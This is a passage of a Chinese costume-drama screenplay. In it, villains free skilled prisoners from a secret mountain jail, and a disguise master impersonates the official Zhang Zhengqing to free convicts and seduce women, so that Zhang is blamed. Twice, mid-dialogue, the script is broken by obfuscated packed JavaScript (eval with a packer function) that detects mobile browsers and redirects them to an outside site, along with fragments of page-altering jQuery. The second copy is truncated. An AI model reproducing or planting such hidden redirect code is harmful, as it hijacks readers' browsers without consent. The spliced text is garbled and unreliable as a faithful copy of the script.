银华无奈,只好跟着金鹏一起奋力划水,洛宁看看他俩、又看看顾云飞,抿嘴一笑。 洛宁:云飞大哥,我终于明白你为何要带上他俩了。 顾云飞:既能上山又能下水,比骡子好使多了!哈哈哈! 3-50 金顶山,山顶上(日,外) 人物:顾云飞、风无行、洛宁、洛青、银华、金鹏、游客若干 金顶山的日出果然很美,日头不偏不倚、正好从山头上升起,刹那间光芒万丈,给山上的每一个人乃至花草树木都披上了一层彩衣,恍若仙境。 洛宁:姐!你们的路程比我们少了一半,为何也走了三天呀? 银华:这还用问吗?人家两个人是在慢悠悠地散步,我们却是在急匆匆地赶路。能比吗? 洛青:这能怨我们吗?谁让你们不走东面那条路呢? 银华:(没好气地)可不是嘛!老大,你怎么带的路呀? 顾云飞:(瞪了他一眼)天太黑了,我一不小心辨错了方向,不过好在及时赶到了。对不对呀,风堂主? 风无行:(干巴巴地笑着)呵呵,是啊!一个都不少! 德州,郊外 3-51 马车车厢(日,内) 人物:顾云飞、风无行、洛宁、洛青、银华、金鹏 两辆马车在回凤凰城的路上缓缓前行。 第一辆马车上,坐着风无行和顾云飞。 还是跟来时一样,顾云飞用手撑着头,半眯着眼睛,一副似睡非睡的样子,风无行见状,没好气地说道。 风无行:这里只有你我二人,你想笑就笑呗! 顾云飞:(扑哧一笑)风堂主,一看见青姑娘还是不肯跟你同乘一辆马车,我就知道你这次又失败了。哈哈! 风无行气得说不出话来,只能拿眼瞪着他。 顾云飞:你跟青姑娘相识这么久,几乎每年都会找个机会向她求婚。让我算算,这是第几回了?(装模作样地掐指一算)呀,十个指头好像不够用啊!哈哈哈……(笑罢,又拍拍风无行的肩膀)没事儿,还有下次嘛! 风无行:(气呼呼地)来日方长,是不是?你每回都这么说,哼! 顾云飞:要不我换个词?(想了想)老骥伏枥、志在千里,这个怎么样?很贴切吧?哈哈哈! 第二辆马车上,坐着洛青和洛宁。 洛宁:姐!你跟无行大哥独处的这几日,有没有发生点儿什么? 洛青:发生点儿什么?你希望我跟他发生点儿什么? 洛宁:(见她神色不对,吐吐舌头)唉,算了!我还是不问了。 银华和金鹏骑着马,与他们同行。 银华:唉,这一趟金顶山之行,可把我累坏了!回去之后,我一定要大睡三天三夜,你千万别来打扰我哟! 金鹏:放心吧,我也要补觉。哈哈!不过累归累,顺道还救了条人命,也挺值!哈哈! 银华:是啊!要不怎么说是天意呢?哈哈! 梁州,凤凰城 3-52 天地会总会,延生堂,客房(日,内) 人物:寒冰、银华 回到凤凰城之后,众人方才得知,寒冰在去关州游玩的路上,意外地救回了一个人。 望着床上的伤者,银华皱起眉头。 银华:这个人是谁? 寒冰:不清楚。 银华:不清楚? 寒冰:他一直昏迷不醒,我想问也问不了呀! 银华:你连他是谁都不清楚,就把他带回来了,是不是有点儿太轻率了? 寒冰:我是大夫,总不能见死不救吧? 银华:如果他死在了咱们这里,怎么办? 寒冰:我只管救人,是生是死,阎王爷自会定夺。 银华:想得可真简单!我问你,如果日后他的家人找上门来,非说是你把他害成了这样,怎么办? 寒冰:你在路上遇到了刺客,怎么办? 银华:我跟你说他,你跟我说什么刺客呀? 寒冰:未来之事尚未发生,何必杞人忧天呢? 银华:唉,行吧!希望你将来不会后悔。 在寒冰的精心治疗下,伤者终于有了知觉,可惜他的头部受伤,失去了记忆,连自己是谁都说不明白,无奈之下,众人只好先留他住下,在总会里干一些洒扫之类的杂活儿,又给他取了一个简单好记的名字:老拾。 24. 第三篇 鱼小儿的易容术 漠州,胡杨城 3-53 云顶古堡,大厅(日,内) 人物:洛宏、慕容深、瑞香 古堡的大厅里,洛宏与慕容深相对而坐。洛宏耷拉着眼皮,望着杯中酒发呆,慕容深嘴里叼着一个烟斗,笑望着他。 慕容深:你在天地会里没朋友吗? 洛宏:可以说有,也可以说没有。 慕容深:呵呵,看来你这个入世之人,跟我这个出世之人一样孤独啊! 洛宏叹了口气,将杯中酒一饮而尽。 慕容深:我为你准备了一份礼物,相信你见到她之后,心情会好一点儿。 慕容深打了个响指,身后的门开了,一个女人从里面走出来。 洛宏:(意外)宁儿? 女人笑着扑进他怀里,娇滴滴地叫了声哥哥。洛宏却皱起眉头,将她推开。 洛宏:你不是宁儿。 慕容深:(笑着对那个女人)我就说他是个老狐狸嘛!你那点儿伎俩,根本骗不过他! 瑞香:(也笑了起来,问洛宏)公子如何知道奴家不是? 洛宏:你的身上没有木兰花香。 慕容深:呀!我竟然把这件事给忘了!(对着瑞香)早知道在他来之前,我该弄些香水给你擦上才是! 洛宏:擦上也没用,那可不是寻常的木兰花香。(将瑞香上下打量了一番,点头惊叹)简直太像了,连声音都一模一样!你是怎么办到的? 慕容深:不过是易容术而已。 洛宏:易容术?前些年有个名叫鱼小儿的江湖骗子,也十分擅长易容术。 瑞香:他是奴家的男人。 洛宏:(笑着托起瑞香的下巴)不!你说错了,我才是你的男人。 洛宏抱住瑞香就亲,见他来了兴致,慕容深知趣地走开了。 3-54 云顶古堡,大厅(夜,内) 人物:洛宏、慕容深 接下来的几日,洛宏一直待在古堡里,与瑞香夜夜欢爱。 慕容深:怎么样?我送给你的礼物不错吧? 洛宏:(有些遗憾地)美则美矣,了则未了。 慕容深:想不想看看她的真面目? 洛宏:没兴趣。 慕容深:呵呵,你对女人还真是一点儿也不挑剔呀! 洛宏:她的男人呢?昨儿我听她提起过,像是被抓起来了? 慕容深:她想求你救他出来。 洛宏:有他在,多碍事呀! 慕容深:鱼小儿以往在江湖上四处行骗的时候,也欠下了不少风流债。所谓的夫妻,只是个名分。 洛宏:那就更不用救了。 慕容深:鱼小儿被抓之前,怕瑞香扔下他不管,所以在她的身上留下了一个同心结。 洛宏:同心结? 慕容深:有了这个东西,她离开他,不能超过百里,否则就会有性命之忧。 洛宏:这么说,我想带她回凤凰城的话,就只能先把她的男人救出来了? 慕容深:那座监狱里关押的囚犯,个个都有一身的本事,若能让他们效忠于你…… 洛宏:(打断)游戏很快就要结束了,你怎么还这么认真? 慕容深:我这个人有强迫症,最讨厌虎头蛇尾了。 洛宏:像这种小事,你完全可以自己解决嘛! 慕容深:之前咱们说好了,我只管海上的事。 洛宏:去年你从海上带回来的那条人鱼呢?怎么没看见她? 慕容深:你虽然没看见她,她却一直在盯着你哟! 慕容深朝对面轻轻地吹了一口气,笼罩在玻璃幕墙上的烟雾散去,一副人身鱼尾的骨架赫然现前。洛宏见了,不但不惊讶,反倒笑了起来。 洛宏:你这个坏习惯,还真是一点儿没变呀!哈哈! 漠州,玉屏山 3-55 玉屏山(日,外) 人物:洛宏、慕容深、鱼小儿、囚犯若干、狱卒若干 面对着眼前的皑皑雪山,洛宏皱起眉头。 洛宏:这里看上去可不像一座监狱。 慕容深:这个地方十分隐秘,除了宫里的皇上之外,知道的人并不多,我也是费了很大的周折才打听到的。 洛宏:谁告诉你的?花了不少银子吧? 慕容深:(轻轻一笑)官场上,总会有几个害群之马。 洛宏:被关押在这里的囚犯,想必也不是什么寻常之辈。我倒要看看,他们究竟有多大的本事。 洛宏运功发力,足尖轻轻一点,雪地里忽现数道裂缝,跟着整座山都抖了起来。不一会儿,从雪山深处跑出来几十个狱卒模样的人,嘴里嚷嚷着:“地震了!地震了!快逃!” 慕容深:杀不杀? 洛宏:你自己看着办,我先进去了。(说完便不见了) 慕容深:(叹了口气)我这个人有洁癖,最讨厌见血了。 慕容深飞身上前,追上那些狱卒,伸手便扭断了其中一个的脖子,别的狱卒还来不及回头细看,也跟着见了阎王。解决了狱卒,慕容深正想着要不要进去看看,却见一群囚犯从里面跑了出来,后面跟着洛宏。 慕容深:(对洛宏笑)你的动作可真快呀! 洛宏:不过是把牢门打开、替他们松绑而已。(望着狱卒们的尸体)一个活口也没留下吗? 慕容深:呀!我又忘了!早知道应该留下一个去报信嘛,哈哈! 囚犯们见他笑得猖狂,心知不好惹,战战兢兢地问道。 众囚犯:你们……你们究竟是谁?到底……到底想干什么? 慕容深:我们杀了狱卒、又把你们从牢里放了出来,这不明摆着是来救你们的吗? 囚犯甲:你们为何要救我们? 囚犯乙:这个地方鲜少有人知道,你们又如何得知? 慕容深:你们又不是小孩子,怎么会有这么多的问题?(对着洛宏)洛老弟,这些人你是否打算全都带走? 洛宏:那得看他们究竟有多少本事。 慕容深:(对着囚犯们)听见没?我们之所以来救你们,不过是看上了你们一身的本事…… 囚犯丙:(不屑地笑了)皇上也看上了我们一身的本事,所以才会把我们囚禁在这里,我们连皇上的话都不肯听,又如何会听你们的? 慕容深:皇上宅心仁厚、只囚不杀,但我们就不一样了。(脸上露出狰狞的笑容) 囚犯甲:你们……你们就不怕这件事被皇上知道了? 慕容深:也是啊!(问洛宏)洛老弟,怎么办呀?这件事若是被皇上知道了,他可不会放过我们哟! 洛宏:不对吧!明明是这些囚犯趁着雪山地震之际逃了出来、杀死了狱卒,关我们何事? 听了这话,囚犯们面面相觑。 慕容深:我给你们两条路,要么跟我们走,要么留下来给这些狱卒当陪葬…… 话没说完,一个囚犯一头扎进雪地里,不见了。 洛宏:(问慕容深)这就是你说的本事? 慕容深:(眯起眼)应该是遁地术吧。 洛宏:(轻轻一笑)呵呵,有点儿意思。 洛宏腾空而起,像老鹰扑向猎物,转眼间便将那个囚犯从雪地里揪了出来,扣住他的喉咙,囚犯拼命挣扎,却听洛宏笑道。 洛宏:再动的话,脖子就要断了。 而这一边,慕容深也笑着问囚犯们。 慕容深:你们几个要不要也试试?我们只有两个人,你们却有十个人,胜券在握哟! 站在最后的那个囚犯,便是鱼小儿,此时他的眼珠子滴溜溜一转,对身边的几个囚犯道。 鱼小儿:我们虽然会一些奇门异术,可功夫远不如他俩。好汉不吃眼前亏,不如先依了他们,等离开这个鬼地方之后,再作打算。 众囚犯:嗯,也行! 鱼小儿走上前去,对洛宏和慕容深抱拳作礼。 鱼小儿:二位好汉,你们救了我们,对我们有大恩。我们这就跟你们走! 临走之前,洛宏再次运功发力、一掌打过去,只听轰隆一声巨响,雪山崩塌,狱卒们的尸体全都被埋住了…… 漠州,胡杨城 3-56 云顶古堡,大厅(日,内) 人物:洛宏、慕容深、瑞香、鱼小儿、囚犯若干 古堡里,鱼小儿一眼就认出了瑞香。 鱼小儿:咦!媳妇儿?你也在这里? 洛宏:你怎么知道她是你媳妇儿? 鱼小儿:我自己的媳妇儿,我能不认识吗?想当年,她的易容术还是跟我学的呢! 洛宏:你就不怕认错了? 鱼小儿:认错了?不会!她脸上的这张皮,可是用十分特殊的材料制成,那个味道我一闻便知。 慕容深:呵呵,你的鼻子可真是比狗还要灵呐! 鱼小儿:(上前打量瑞香)媳妇儿! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007371|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你怎么打扮成这般模样?你这张脸,看上去可不太像沉香国的人呐! 瑞香:(微微一笑,走过去挽着洛宏)我之所以打扮成这般模样,是因为恩公喜欢。 鱼小儿:(一听便明白了,忿忿地)哼!我就知道会是这样! 慕容深:(上前勾住鱼小儿的肩膀)不过是一个女人而已,算得了什么?(又对着囚犯们)我知道你们这些家伙在牢里待久了,一定很想念女人身上的味道。不如今晚我做东,找几个姑娘过来陪你们玩玩,怎么样? 听了这话,鱼小儿又高兴了起来,第一个便答应了。 鱼小儿:好啊!(指着瑞香对慕容深)不过我不喜欢她这种异域风情的类型,你给我找几个沉香国本地的姑娘过来。嘿嘿! 瑞香不满地瞪了鱼小儿一眼,他却假装没看见。 3-57 云顶古堡,客房(夜,内) 人物:洛宏、瑞香 楼下的大厅里,不断地传来男女放浪的笑声,瑞香坐在床边,生着闷气。 洛宏:一夜夫妻百日恩,你果然还是很在乎他呀! 瑞香:(叹了口气)他虽然风流,却从不曾舍弃过我,不管在外面怎么浪,终有一天还是会回到我的身边。 洛宏:(托起她的下巴)你想回到他的身边吗? 瑞香:我若回到他的身边,恩公怎么办? 洛宏:我的身边从来不缺女人。 瑞香:(指着自己的脸)可惜不是每一个女人都拥有这么一张脸。 洛宏:(笑着抚摸她的脸)呵呵,说得没错!这张脸……实在太令我着迷了! 3-58 云顶古堡,大厅(日,内) 人物:洛宏、慕容深、瑞香、鱼小儿、囚犯若干 又过了两日,洛宏打算回凤凰城去。 洛宏:(对着囚犯们)你们几个人的本事,我也有所耳闻,不过想成为我的手下,还要先替我去办几件事。 瑞香:恩公,您不怕他们趁机逃跑吗? 慕容深:逃跑?好啊!我这个人平生最爱干的事,就是打猎了。(指着囚犯们)从现在起,你们几个可都是我的猎物。想活命的话,一定要跑快点儿,若是被我抓住,结果可能会变成她这样。 慕容深指了指玻璃幕墙,人鱼的骨架若隐若现,囚犯们见了,无不心惊胆战。 众囚犯:(战战兢兢地)恩公想让我们替您办什么事? 洛宏:只要你们乖乖听话,我也不会为难你们,不过是利用你们的本事,替我省些力气罢了。(说完将任务一一分派给囚犯们) 鱼小儿:恩公,我……有一个小小的请求。 洛宏:说。 鱼小儿:路过京城的时候,能不能给我一天的时间,我想去办点儿私事。 洛宏:私事? 鱼小儿:您放心!办完事之后,我一定回来找您,绝不拖延!嘿嘿,我媳妇儿不是还在您的手上吗?有了那个同心结,我想跑也跑不远啊! 慕容深:你去京城干什么?自投罗网吗? 鱼小儿:好不容易才从那种不见天日的地方出来了,我可不想再回去了!嘿嘿,恩公!不瞒您说,当年我之所以被官府的人逮住,不是因为我的易容术不够高明,而是因为我这个人太贪杯。我自诩为酒鬼,闲来无事时,最爱与人斗酒,不曾想那日偏偏碰上了一个酒神,喝了个酩酊大醉,等我醒来时,人已经在牢里了。后来我才知道,那晚与我斗酒的那个人,其实是个细作!唉! 洛宏:既然是细作,自然与官府有牵连,你若直接去找他,很容易暴露。更何况你被关在牢里这么多年,他还在不在京城,也未可知。 鱼小儿:我想先去打听打听,他在京城里挺有名气,是个武状元。 洛宏:(心头一动)武状元?他叫什么名字? 鱼小儿:他叫张正清。 洛宏:(一听便笑了)呵呵,巧了!你要找的这个人,如今就在凤凰城里。 漠州,郊外 3-59 马车车厢(日,内) 人物:洛宏、瑞香、鱼小儿 回凤凰城的路上,洛宏问鱼小儿。 洛宏:你去找张正清,是想跟他斗酒、还是想向他复仇? 鱼小儿:他的武功那么高,我若跟他硬拼,肯定占不到便宜。 洛宏:那你打算怎么办? 鱼小儿:当年他让我吃了个瘪,这回我也要让他有苦说不出。哼! 25. 第三篇 鱼小儿的易容术 梁州,紫蔚城 3-60 县衙(日,内) 人物:张正清、刘知县 一大早,张正清便来到了县衙里,一见到他,刘知县立马笑着上前作礼。 刘知县:张大人,您怎么这么早就来了? 张正清:刘大人,本官听说你们刚刚抓住了一个名叫阿超的小偷? 刘知县:回大人的话,这个名叫阿超的小偷,此时就在县衙的大牢里。他是个惯犯,下官正想着要不要多关他几日,让他长长记性。 张正清:他除了盗窃之外,还犯有一桩命案,本官的手里已经掌握了一些证据,打算把他押回督察府去、亲自审问。 刘知县:这样啊!请大人稍等片刻,下官这就命人把他带过来! 梁州,郊外 3-61 马路上(日,外) 人物:阿超、鱼小儿 张正清押着阿超,离开了紫蔚城,朝凤凰城的方向走去。一路上,阿超不住地哀求。 阿超:大人!我只是个贼,从不曾杀过人,您是不是弄错了呀? 张正清:(微微一笑,嗓音突然变了)阿超,你不认识我了吗? 阿超:(大吃一惊)你……你是鱼小儿! 鱼小儿:(撕下面具露出真容)呵呵,老弟!别来无恙啊? 阿超:原……原来是你!哎哟妈呀,吓死我了!我还以为这次死定了呢!那个……你不是被官府的人抓走了吗?怎么又出来了? 鱼小儿:(一脸得意)我的易容术那么高明,官府的牢房对我来说,就像自己的家一样,我想进就进、想出就出,谁也奈何不了我!哼哼! 阿超:(一脸艳羡)啧啧,真了不起呀!我要是有你这样的本事,哪里还用得着小偷小摸?就算是皇上的玉玺,我也能大摇大摆地进宫去拿!唉! 鱼小儿:想不想跟我一起混呢? 阿超:跟你一起混?有什么好处? 鱼小儿:你想要什么好处? 阿超:嘿嘿,你能不能帮我弄点儿钱? 鱼小儿:这算什么呀?要多少有多少! 阿超:(顿时两眼放光)真的吗?那女人呢?能不能也给我弄一个? 鱼小儿:刘金莲怎么样?她可是紫蔚城里数一数二的大美人哟! 阿超:刘金莲?(摆摆手)嘿嘿,那可是知县大人的千金,我连想都不敢想! 鱼小儿:凭你现在的模样,确实是高攀不上。若是张正清呢? 阿超:张正清?什么意思? 鱼小儿:刚才我在县衙里,知县大人的千金竟然亲自过来给我斟了一杯茶,还冲着我微微一笑,我见她的眼神颇有些暧昧,心想她是不是看上我了? 阿超:人家看上的是张正清,哪是你呀! 鱼小儿:说得没错!(指着阿超的脸)如果能把你的这张脸,换成张正清的脸,是不是她就会对你百依百顺了呢? 听了这话,阿超兴奋得直搓手,见他心动,鱼小儿趁机怂恿。 鱼小儿:怎么样?敢不敢跟我一起干? 阿超:干!一定要干!人活一世,不就图个财色两全吗?若能得到像刘金莲那样的大美人的垂青,哪怕只是跟她一夜风流,死也值了!嘿嘿! 梁州,凤凰城 3-62 县衙(日,内) 人物:黄毅、杜知县 奉张正清之命,黄毅前往县衙提审案犯,却被告知案犯已经被带走了。 黄毅:杜大人,您说什么?案犯已经被带走了? 杜知县:昨天晚上张大人亲自来了一趟,把案犯带走了。 黄毅:怎么可能?昨天晚上老大根本就没出门呀! 杜知县:可昨天晚上来的那个人明明就是张大人呀! 黄毅:他什么时候来的? 杜知县:昨天晚上我刚吃过饭,他就来了,说是怕耽误了今天的堂审,所以提前把人带走了。 黄毅:您看清楚了没?会不会因为天色昏暗、所以看走了眼? 杜知县:我的岁数虽然不小,却还不至于老眼昏花。我跟张大人打了这么多回的交道,那个人到底是不是张大人,我怎么会不清楚? 黄毅:怎么会这样?他出示文书了吗? 杜知县:张大人亲自来了,还要什么文书呀? 黄毅:这未免也太奇怪了,我回去问问老大! 3-63 督察府,张正清的屋子(日,内) 人物:张正清、黄毅 黄毅回到督察府,将县衙的遭遇告诉了张正清。 黄毅:老大!你昨天晚上不是没出门吗?怎么会突然跑去县衙里提审案犯? 张正清:(吃惊)你说什么?!我昨天晚上去县衙里提审案犯?谁说的? 黄毅:杜大人亲口说的。 张正清:他是不是记错了? 黄毅:我反复问了几遍,他都是同样的回答。到底怎么回事?老大,你到底去没去? 张正清:你这不是废话吗?我若是去了,又怎么会再派你去? 黄毅:那是怎么回事呀?你说你没去,杜大人却说你去了,这个案犯到底是被带走了还是没被带走呀? 张正清:你去县衙的牢房里查看过没? 黄毅:杜大人说案犯不在他那里,我若再去牢房里查看,岂不是显得对他不够信任。 张正清:这么说,你也跟杜大人一样,认为是我把案犯带走了?要不你现在就去咱们督察府的牢房里看看,若是能找到那个案犯,我这个督察让给你来当。怎么样? 黄毅:老大,我不是这个意思。 张正清:(拍桌子吼)案犯不见了,这么大的事,你怎么一点儿也不着急呀?还杵在这里干什么?快去找呀! 3-64 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 各地的县衙里,接二连三地传来案犯被张正清带走的消息。 洛宁:张大哥,你是不是会分身术呀?怎么你人坐在督察府里,却能跑去县衙里提审案犯呀? 张正清:那个人肯定不是我! 洛宁:如果是咸水城的商大人,我倒是能理解,毕竟他的岁数大了,偶尔会犯一下迷糊,把别人当成了你,也情有可原。问题是每一座城里的每一位知县大人,都把那个人当成了你,这未免也太邪乎了吧? 张正清:谁知道到底发生了什么事?如今那些案犯,一个个下落不明,若再惹出什么乱子,我这个督察可真是没法当了! 洛宁:没法当了岂不是正好? 张正清:小鬼!你什么意思?你是不是巴不得我卷铺盖走人呀? 洛宁:张大哥!那些案犯之所以能够被带走,无非是因为你的手里有这个权力,知县大人哪怕心中有疑问,也不敢违背你的意思。不是吗? 张正清:你到底想说些什么? 洛宁:如果你不当这个督察了,那个人再去县衙里提审案犯的话,知县大人还会不会答应呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007372|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张正清:呵呵,我明白了!小鬼,前阵子你出去游玩,我给你放了十天假,不如这阵子你也暂代一下我的职务,让我能出去走一走。怎么样? 洛宁:(顿时激动不已)如果那个人冒充我的话,岂不是一百座城里将会出现一百个洛宁?天哪,想想都觉得很刺激! 张正清:(白了她一眼)唉,罢了!把权力交给你,只会让一切变得更糟糕,还是换一个借口吧! 3-65 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 张正清对外称病,躲在督察府里不出门。奇怪的是,自打他病了之后,前往各地县衙带走案犯的那个张正清,也不见了踪影。 洛宁:张大哥,我越来越相信你会分身术了! 张正清:小鬼,你什么意思呀?难不成你真以为是我带走了那些案犯?那你倒是说说,我把他们藏在了哪里? 洛宁:也可能你做这些事情的时候,自己也不知道呢! 张正清:你以为我是你呀?上次你喝醉酒之后,都干了些什么?你还记得吗?走迷宫、打妖怪,你怎么不去开天辟地呢? 洛宁:我要是有你这本事,早就去了。 张正清:(两眼一瞪)去哪儿?投胎吗? 洛宁:张大哥,我知道你的心里不痛快。要不这样吧,我听说清虚道观里的符咒挺厉害,我这就去求两张给你戴在身上,这样你就不会再神游太虚了。 张正清:神游太虚?小屁孩,你不是从聚胜古都来的吗?怎么还信这种东西? 洛宁:宁可信其有、不可信其无嘛!万一真是你干的呢? 张正清:(气得七窍生烟)你你你……有你在,我还装什么病呀?就算是没病,也能被你气出病来!哼! 3-66 农舍(夜,内) 人物:鱼小儿、阿超、案犯若干 被假张正清带走的案犯,正在跟鱼小儿商量接下来的对策。 案犯甲:鱼小儿,怎么办呀?如今张正清对外称病、躲在督察府里不出门,我们若再假扮成他,肯定会被逮个正着。 案犯乙:是啊!如今官府正在四处搜捕我们,若没有你的易容术,我们想出城都难,更别说远走高飞了。 案犯丙:鱼小儿,当初你是怎么说的?你拍着胸脯向我们保证,说只要我们替你报了仇,你就会带着我们一起发财、享尽人间艳福,这两样你都做到了吗? 鱼小儿:发财的事,很快也会兑现。不过梁州境内的美女,你们一个个不都玩过了吗? 提起这个,案犯们纷纷笑了起来。 案犯甲:张正清的这张脸果然好使,女人们见了他,没有不低眉顺眼的。郑员外的女儿,我只用了两三句甜言蜜语,就哄得她心花怒放,主动向我投怀送抱了。 案犯乙:可不是嘛!韩婶的女儿,仗着自己的脸蛋子比别人漂亮,之前媒婆给她说了不少门亲事,她一个都瞧不上,结果我这个张正清一去,她立马就折服了。 案犯丙:张正清是何许人也?人家可是皇后娘娘的亲外甥,像他这种身份的人,凤凰城里能有几个呀? 正说着,却听阿超叹了口气。 阿超:唉!我每次跟金莲偷偷约会,都不得不假扮成张正清的样子,如今张正清闭门不出,我也见不着金莲了。 鱼小儿:你虽然见不着她了,可你们俩之间已经有了夫妻之实,相信用不了多久,知县大人就会逼着张正清娶她。到那时,只怕张正清会病得更重!哈哈哈! 26. 第三篇 鱼小儿的易容术 梁州,凤凰城 3-67 督察府,客厅(日,内) 人物:张正清、刘知县、田佳、乔捕头、郑员外、韩婶和她的女儿 鱼小儿说得没错,刘知县果然来找张正清了。 刘知县:张大人,您的身子最近怎么样?好些没? 张正清:托刘大人的福,已经好了许多。 刘知县:(支支吾吾地)那个,有件事情…… 张正清:刘大人,你有什么事情,不妨直说。我虽然在病中,若能帮上忙,也会尽力而为。 刘知县:小女她……怀孕了。 张正清:你说什么?我没听清楚,麻烦你再说一遍。 刘知县:小女金莲,她怀孕了。 张正清:(愣了楞,有些摸不着头脑)怀孕了?噢,这是喜事呀!恭喜你呀刘大人,你要当外公了! 刘知县:那个……下官知道大人您的身子不适,最近不太方便,可金莲的肚子越来越大,这件事也拖不得,您看您何时有空,咱们挑一个良辰吉日,把婚事给办了。 张正清:你说什么?婚事? 刘知县:对呀,婚事! 张正清:噢,您的意思是要办喜事呀?您放心,我就算不能亲自到场祝贺,也会托人把礼送过去! 刘知县:(板起脸)张大人,你到底是真不明白还是假不明白呀? 张正清:什……什么意思? 刘知县:(一字一句大声地)小女金莲怀孕了,肚子里面是你的孩子! 张正清:(吓了一跳)你说什么?! 没等张正清反应过来,门外又传来吵闹声。 郑员外:张正清!你这个不要脸的王八蛋,给老子出来!老子要宰了你! 田佳:郑员外,你疯了吗?这里可是督察府,容不得你胡来! 郑员外:老子没疯!老子就是要宰了张正清这个王八蛋,替小女报仇! 张正清走出屋子,见郑员外的手里拿着一把刀,田佳和乔捕头正拼命地拦着他。 张正清:这里是督察府,你想干什么? 郑员外:干什么?哼!老子要宰了你这个龟孙子! 张正清:(顿时恼了)你骂谁呢?黄毅,把刀给我夺下来!他若再敢放肆,就把他关进牢里去!哼! 郑员外:张正清!你身为一府督察,竟然干出这种禽兽不如的事,你枉披了一张人皮!…… 见他越骂越难听,乔捕头急忙捂住他的嘴。就在这时,又从外面进来一老一少两个女人,见到张正清,老女人两手叉腰,一副兴师问罪的样子,嘴里喝道。 韩婶:张大人!您自己说说,这件事该怎么办? 张正清:什么事? 韩婶:什么事?张大人,您是不是不想认了?我女儿的便宜都被你占尽了,今儿你若是不给我们娘俩一个明白话,我们娘俩就死在你的面前。哼! 望着眼前愤怒的众人,张正清一头雾水。 张正清:你们一个个是不是都疯了?我干什么了? 刘知县:(指着张正清的鼻子怒骂)干什么了?你怎么不问问你自己呢?张正清呀张正清,没想到你竟然是这种人渣,小女当初真是瞎了眼,竟然把自己的终身托付给了你!你这个畜生!败类!无耻之徒!…… 他越说越激动,发疯似地去打张正清,郑员外和韩婶见状,也跟着冲了上来,督察府里顿时乱成一团…… 3-68 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 洛宁走进屋里,手里端着一碗汤。 洛宁:张大哥,别生气了,喝碗汤吧! 张正清:我喝不下!你说他们这些人到底怎么了?平白无故地来咱们督察府闹什么事呀?还说要去京城告御状,我到底做错什么了? 洛宁:这碗汤可是我亲手炖的,你不打算喝吗? 张正清:我……唉!(端起碗来喝了一口,皱起眉头)这是什么汤?怎么有股子药味儿? 洛宁:因为我在里面加了点儿料。 张正清:什么料?你是不是想给我下毒呀? 洛宁:我跟你无冤无仇,为何要给你下毒呀?只不过见你最近十分繁忙,怕你劳累伤身,所以特意放了些滋补的药材在里面。 张正清:滋补的药材?(眯起眼)小鬼!我怎么觉得你话里有话呢? 洛宁:(用筷子夹起汤里的药材给他看)你瞧瞧这个,是鹿茸;还有这个,是羊肾;还有这个,是牛鞭…… 张正清:(恼羞成怒,冲着她吼了起来)小屁孩!你什么意思?你是不是觉得今天的这场戏还不够精彩呀? 洛宁:如果仅仅是一场戏,倒也罢了,毕竟是假的嘛。可现在弄假成真了,怎么办? 张正清:我哪知道啊?我自己都不知道到底发生了什么事! 洛宁:我倒是有了一点儿眉目。 张正清:那你还不快说! 洛宁:你先把汤喝了。 张正清:你…… 洛宁:这碗汤可是费了我半天工夫呢! 张正清:行行行,我喝!哪怕是鹤顶红,我也把它喝下去!(端起汤碗一饮而尽)喝完了,快说吧! 洛宁:刚才我在炖汤的时候,顺便把那些被你从牢里带走的案犯的资料看了一遍…… 张正清:(忍不住打断)小鬼,那些人是我带走的吗? 洛宁:你到底想不想听呀? 张正清:得得得,你说! 洛宁:这些案犯都有一个共同的特征。 张正清:什么特征? 洛宁:他们的身高体型,都与你极其相似。 张正清:你的意思是,这些人在冒充我? 洛宁:你就算是每天喝一碗十全大补汤,也不可能在这么短的时间内,让这么多女人同时怀孕呀!除非…… 张正清:除非什么? 洛宁:除非你是皇上,嘻嘻! 张正清:就你会说,哼!(伸手去捏她的鼻子,却被她笑嘻嘻地躲开) 洛宁:回想一下,从最初案犯们被莫名其妙地带走、到现在女人们莫名其妙地怀孕,所有的一切,全都冲着你一个人而来,是不是挺奇怪?我想,这绝对不是一种巧合!张大哥,你是不是得罪什么人了? 听了这话,张正清皱起眉头,在脑子里飞快地思索着。 洛宁:各地的知县大人都对你十分熟悉,可他们却一致认为带走案犯的那个人就是你,这说明了什么?说明你的仇家在模仿你的本领上,已经达到了炉火纯青的地步…… 话没说完,却听张正清突然开口。 张正清:小鬼!我的肚子饿了,能不能再去给我弄些吃的? 洛宁:(眯起眼)看来你的心里已经有数了。张大哥,你想支开我的话,不妨直说。 张正清:我是真的饿了,你快去给我弄些吃的,还有那个汤,再给我盛一碗过来! 说着他便将洛宁推了出去,跟着关上门,回到桌前,在纸上奋笔疾书。 刚写完那封信,门忽然被撞开,洛宁冲了进来,抓起信纸便走。 张正清:小屁孩,你给我回来!把信还给我! 他拔腿追了上去,一把揪住她,伸手去夺,她把信纸塞进怀里,就是不给他。 张正清:拿出来! 洛宁:不拿!有本事你搜我的身! 张正清:真以为我不敢吗? 洛宁:你就是不敢! 张正清:你……小鬼,你知不知道自己在干什么?你这是以下犯上,你的眼里还有没有我这个上司? 洛宁:你告诉我上面写了些什么,我就把它还给你! 张正清:你到底给不给? 洛宁:不给! 张正清:你……(冲着门外吼)田佳,给我过来! 